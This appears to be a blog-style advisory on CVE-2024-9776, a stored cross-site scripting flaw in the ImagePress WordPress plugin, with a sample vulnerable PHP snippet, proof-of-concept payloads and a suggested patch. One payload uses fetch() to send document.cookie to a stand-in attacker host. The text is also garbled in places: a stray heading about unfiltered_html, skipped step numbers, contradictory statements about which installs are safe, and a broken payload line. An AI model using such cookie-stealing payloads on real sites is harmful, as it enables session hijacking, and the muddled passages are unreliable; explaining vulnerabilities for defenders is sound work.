CVE-2024-9776 is a newly identified stored Cross-Site Scripting (XSS) weakness in the ImagePress – Image Gallery plugin for WordPress. This issue impacts all plugin versions through 1.2.2 and is caused by improper handling of user input in the admin settings area. Specifically, the plugin fails to sanitize and properly escape output in its settings, leaving a dangerous gap for attackers with admin-level (or higher) privileges.

In this article, we’ll break down how this vulnerability works, who’s affected, and—most importantly—provide a practical code example so you can see for yourself just how easily it can be exploited. We’ll also offer resources for further reading and tips for mitigation.

Installations where the unfiltered_html capability is DISABLED for administrators

If your site is a standard single install, or administrators are allowed to use unfiltered HTML (the WordPress default), you should be safe from this attack vector.

Overview

Because the ImagePress plugin does not sanitize admin input or escape output properly, anyone with admin-level access can enter malicious JavaScript into certain plugin settings fields. When another user visits a page that renders these fields, the script will execute in their browser context.

Thus, while an outside attacker can't upload a script, a compromised or rogue admin—or malware that gains admin privileges—could leverage this to launch an XSS attack site-wide.

Vulnerable Code Example

Suppose the settings page in ImagePress allows the administrator to update the "Gallery Title" or similar displayable settings. (The actual vulnerable field may vary; check the plugin source for exact points.)

The plugin might have code similar to this

// Fetch settings input from the user
$plugin_option = $_POST['plugin_option'];

// Store in database (no sanitization)
update_option('imagepress_gallery_title', $plugin_option);

// Later, in the frontend or dashboard, output directly
echo get_option('imagepress_gallery_title');

No Sanitization: The input is saved directly from POST without removing scripts or HTML.

- No Escaping: The output is dumped straight to the page, meaning if it contains <script> tags or JavaScript events, they run immediately.

Step-by-Step Exploit (Proof-of-Concept)

Prerequisites:

Go to the ImagePress plugin’s settings page in your WordPress dashboard.

2. Paste this payload in a field that outputs content directly, such as the gallery name or description:

<script>alert('XSS by CVE-2024-9776!');</script>

Save the settings.

4. Next time you (or any other user) loads a page showing this field—whether on the admin dashboard or the public site—they’ll see a browser popup with the XSS payload message.

<script>fetch('https://attacker.com/steal?cookie='; + document.cookie);</script>

> ⚠️ Never test real payloads on a live/production system. Use only controlled environments.

What Could an Attacker Do?

While only admin-level users (or attackers controlling them) can inject scripts, exploiting this opens the door to:

- Session theft (stealing other admin/session cookies, leading to privilege escalation)

Defacement or malfunction (injecting code to break functionality or sensor users)


In a multi-admin environment—e.g., WooCommerce stores with multiple managers, large blog networks, or membership sites—this risk is real and dangerous.

Immediate Steps

- Update the ImagePress plugin as soon as a patched version is released. Monitor the official plugin changelog for updates.

Example Patch

// Sanitize input
$plugin_option = sanitize_text_field($_POST['plugin_option']); 

// Output safely
echo esc_html(get_option('imagepress_gallery_title'));

Consider removing multisite if not needed or resetting unfiltered_html to default.

- Use WordPress security plugins (like Wordfence) to help monitor for suspicious activity.

References

- CVE Details – CVE-2024-9776
- WordPress Plugin Directory: ImagePress
- WordPress Plugin Vulnerabilities Database: ImagePress
- OWASP: Cross Site Scripting (XSS)
- Handling User Input: WordPress Developer Docs

Conclusion

CVE-2024-9776 is a textbook example of how failing to sanitize and escape input in WordPress plugins—even in admin settings—can cause real-world XSS problems. While exploitation is limited to powerful users, the impact is significant for sites with multiple admins or when admin accounts are compromised.

Always keep your plugins updated, restrict admin privileges carefully, and review custom plugin code for these issues.

If you found this article helpful, consider sharing it with your WordPress admin team or developer community to keep everyone’s sites safe!

Timeline

Published on: 10/12/2024 06:15:03 UTC
Last modified on: 10/15/2024 12:57:46 UTC